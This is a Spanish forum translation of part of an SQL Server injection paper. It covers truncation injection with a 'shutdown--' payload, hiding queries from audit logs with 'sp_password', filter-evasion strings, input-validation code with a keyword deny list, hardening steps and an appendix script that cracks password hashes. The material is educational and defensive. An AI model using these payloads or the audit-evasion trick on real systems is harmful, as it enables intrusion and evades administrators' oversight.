La razón es debido a que la aplicación intentará escapar la comilla del final del nombre de usuario, pero la cadena es entonces reducida a 16 carácteres, elmininando el carácter de escape de la comilla. El resultado final es que el campo de la contraseña aún puede contener algo de SQL si comienza con una comilla simple, la cadena finalmente quedaría así

Código:

select * from users where username='aaaaaaaaaaaaaaa'' and password=''';
shutdown--


De forma efectiva el nombre de usuario en la consulta ha pasado a ser

Código:

aaaaaaaaaaaaaaa' and password='


…por lo que el código SQL inyectado seguirá ejecutándose.


[Eludir la auditoría]

El servidor SQL proporciona una interfaz para la auditoría mediante la familia de funciones sp_traceXXX, las cuales permiten registrar todos los sucesos que se produzcan en la base de datos. De interés particular son los eventos T-SQL, los cuales registran todas las sentencias SQL y archivos 'batch' que se ejecuten en el servidor. Si este nivel de auditoría está habilitada todas las sentencias SQL que hemos mostrado a lo largo de este documento sean registradas y el administrador de la base de datos será capaz de observar todo lo que haya ocurrido. Desafortunadamente si el atacante aneza la cadena

Código:

sp_password


a una sentencia Transact-SQL el mecanismo de auditoría registrará lo siguiente:

Código:

-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.


Este comportamiento se dará en todos los registros T-SQL, siempre que 'sp_password' se incluya en el comentario. Esto es debido a que se intentará ocultar todas las contraseñas en texto claro que sean utilizadas con 'sp_password', pero resulta tremendamente útil desde la perspectiva de un atacante.

Por ello, para ocultar la inyección de código SQL al atacante le bastará con anexar sp_password despues de los carácteres de comentario, en la forma:

Código:

Usuario: admin'--sp_password


El resultado es que la consulta SQL quedará registrada pero será convenientemente ocultada en la entrada del registro.


[Defensas]

Esta sección introduce algunas de las posibles defensas frente a este tipo de ataques. Se discute la validación de la entrada de datos y se proporciona algo de código, mencionando a continuación los entresijos del bloqueo de servidores SQL.


[Validación de la entrada]

La validación de la entrada puede ser una compleja solución. Típicamente se le presta escasa atención durante el desarrollo de un nuevo proyecto dado que tiende a formar parte de la mayoría de situaciones causantes de error, en los que este problema resultará de dificil solución. La validación de la entrada de datos no proporcionará ninguna funcionalidad a la aplicación y se suele obviar frente a las fechas tope impuestas para la entrega de la misma.

Lo siguiente es una breve introducción a la validación de la entrada de datos, incluyendo código de ejemplo. Este código (por supuesto) no debería incluirse tal cual en ninguna aplicación, pero ayudará a clarificar los conceptos que deberán tenerse en cuenta.

Las diferentes formas en que puede acometerse la validación pueden categorizarse en la forma:

1)Intentar modificar los datos de forma que se vuelvan correctos

2)Devolver aquellas entradas que no sean válidas

3)Aceptar sólo la entrada que se considere válida

La primera solución implica ciertos problemas de concepto; primero, el desarrollador no conocerá a priori lo que constituyen datos no válidos dado que diariamente se descubren nuevas técnicas. Segundo la modificación de los datos puede alterar su tamaño, lo que puede derivar en los problemas descritos con anterioridad. Finalmente existe la posibilidad de provocar efectos laterales debidos a la reutilización de los
datos que se hallen en el sistema.

La segunda solución padece de los mismos defectos que la primera; los considerados como datos no válidos cambiarán a los largo del tiempo, debido al descubrimiento de nuevas técnicas de ataque.

La tercera solución es probablemente la mejor de las tres, pero puede resultar dificil de implementar.

Seguramente la mejor defensa implique la combinación de las técnicas segunda y tercera - permitir solo datos válidos y buscar en la entrada cualquier cosa considerada como peligrosa.

Un buen ejemplo de la necesidad de combinar estas dos técnicas es el problema de los apellidos separados mediante guiones:

Quentin Bassington-Bassington

Podríamos considerar el carácter guión como parte de una entrada válida pero sabemos también el significado que tiene en SQL la secuencia '--'.

Otro problema deriva del hecho de combinar la modificación de los datos con la validación de las secuencias de carácteres - por ejmplo si aplicamos un filtro que detecte la secuencia '--', 'select' y 'union' seguido de un filtro de modificación de estos datos de forma que se escapen las comillas simples el atacante podría utilizar una entrada similar a la siguiente:

Código:

uni'on sel'ect @@version-'-


Dado que el carácter de comilla simple será eliminado después de aplicar el filtro el atacante podría simplemente utilizarlo para evadir la detección de las cadenas no permitidas.

Primer método - Escapar las comillas simples

Código:

function escape( input )
   input = replace(input, "'", "''")
   escape = input
end function


Segundo método - Devolver las entradas consideradas como no válidas

Código:

function validate_string( input )

   known_bad = array( "select", "insert", "update", "delete", "drop",
   "--", "'" )

   validate_string = true

   for i = lbound( known_bad ) to ubound( known_bad )
      if ( instr( 1, input, known_bad(i), vbtextcompare ) <> 0 )
      then
         validate_string = false
         exit function
      end if
      
   next

end function


Tercer método - Permitir únicamente la entrada válida

Código:

function validatepassword( input )

   good_password_chars =
   "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

   validatepassword = true

   for i = 1 to len( input ) c = mid( input, i, 1 )

      if ( InStr( good_password_chars, c ) = 0 )
      then
         validatepassword = false
         exit function
      end if
   next

end function



[Bloquear el servidor SQL]

El punto más importante aquí es la necesidad de bloquear el servidor SQL; este no es seguro si se ejecuta desde fuera del sistema. He aquí una breve lista con los puntos a tener en cuenta al instalar un servidor SQL:

1. Determinar los métodos de conexión al servidor

a. Verificar las librerías de red que estan siendo habilitadas utilizando
la 'Network Utility'

2. Verificar las cuentas que existen

a. Crear cuentas poco privilegiadas para ser utilizadas por las aplicaciones
b. Eliminar las cuentas innecesarias
c. Asegurarse de que todas las cuentas tienen establecidas fuertes contraseñas; ejecutar un script para auditar las contraseñas del servidor (como el que se proporciona en el apéndice de este paper)

3. Verificar los objetos que existen

a. Algunos de los procedimientos almacenados podrán eliminarse tranquilamemte. Si hace esto considere borrar el archivo '.dll' que contiene el código delprocedimiento almacenado.
b. Elimine todas las bases de datos de ejemplo - las bases de datos 'pubs' y 'northwind', por ejemplo.

4. Verfique que cuentas pueden acceder a que objetos

a. La cuenta que utilice la aplicación para acceder a la base de datos debería tener los mínimos permisos necesarios para acceder a los objetos que necesite utilizar.

5. Verificar los parches instalados en el servidor

a. Existen varios buffer overflow [3], [4] y ataques de cadenas de formato [5] que se pueden ejecutar contra el servidor SQL (la mayoría de ellos descubiertos por el autor) así como otras características que deberían parchearse. Es muy probable que aparezcan más.

6. Verfique los registros de acceso y que está siendo registrado

En www.sqlsecurity.com[2] se puede encontrar una excelente lista de puntos de comprobación.


[Referencias]

[1] Web Application Disassembly with ODBC Error Messages, David Litchfield
http://www.nextgenss.com/papers/webappdis.doc

[2] SQL Server Security Checklist
http://www.sqlsecurity.com/checklist.asp

[3] SQL Server 2000 Extended Stored Procedure Vulnerability
http://www.atstake.com/research/advisories/2000/a120100-2.txt

[4] Microsoft SQL Server Extended Stored Procedure Vulnerability
http://www.atstake.com/research/advisories/2000/a120100-1.txt

[5] Multiple Buffer Format String Vulnerabilities In SQL Server
http://www.microsoft.com/technet/security/bulletin/MS01-060.asp
http://www.atstake.com/research/advisories/2001/a122001-1.txt


Apéndice A - 'SQLCrack'

Este script para descifrar las contraseñas (escrito por el autor) requiere acceso a la columna 'password' de la tabla master..sysxlogins y por consiguiente muy dificil que sea ejecutado por un atacante. Es, sin embargo, una herramienta extremadamente útil para aquellos administradores que deseen comprobar la calidad de las contraseñas
utilizadas en sus bases de datos.

Para utilizar este script deberá sustituir la ruta del archivo de diccionario indicada en la sentencia 'bulk insert'. Pueden encontrarse infinidad de estos archivos en la web; no se proporciona uno adecuado aquí, pero servirá como un pequeño ejemplo (el archivo deberá guardarse como un archivo de texto MS-DOS con los carácters <CR><LF> como indicadores del final de línea). El script también detectará las cuentas 'joe' - aquellas
cuentas que utilizan la misma contraseña que su nombre de usuario - y las cuentas que tengan la contraseña en blanco.

Código:

password
sqlserver
sql
admin
sesame
sa
guest


Y aquí el script (sqlcrack.sql):

Código:

create table tempdb..passwords( pwd varchar(255) )

bulk insert tempdb..passwords from 'c:\temp\passwords.txt'

select name, pwd from tempdb..passwords inner join sysxlogins
   on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1)

union select name, name from sysxlogins where
   (pwdcompare( name, sysxlogins.password, 0 ) = 1)

union select sysxlogins.name, null from sysxlogins join syslogins on
sysxlogins.sid=syslogins.sid

   where sysxlogins.password is null and
         syslogins.isntgroup=0 and
         syslogins.isntuser=0

drop table tempdb..passwords




---

Saludos y espero os guste (no obstante recomiendo leer el documento original, quien sabe las burradas que puedo haberme inventado )
_________________
La verdad nos hara libres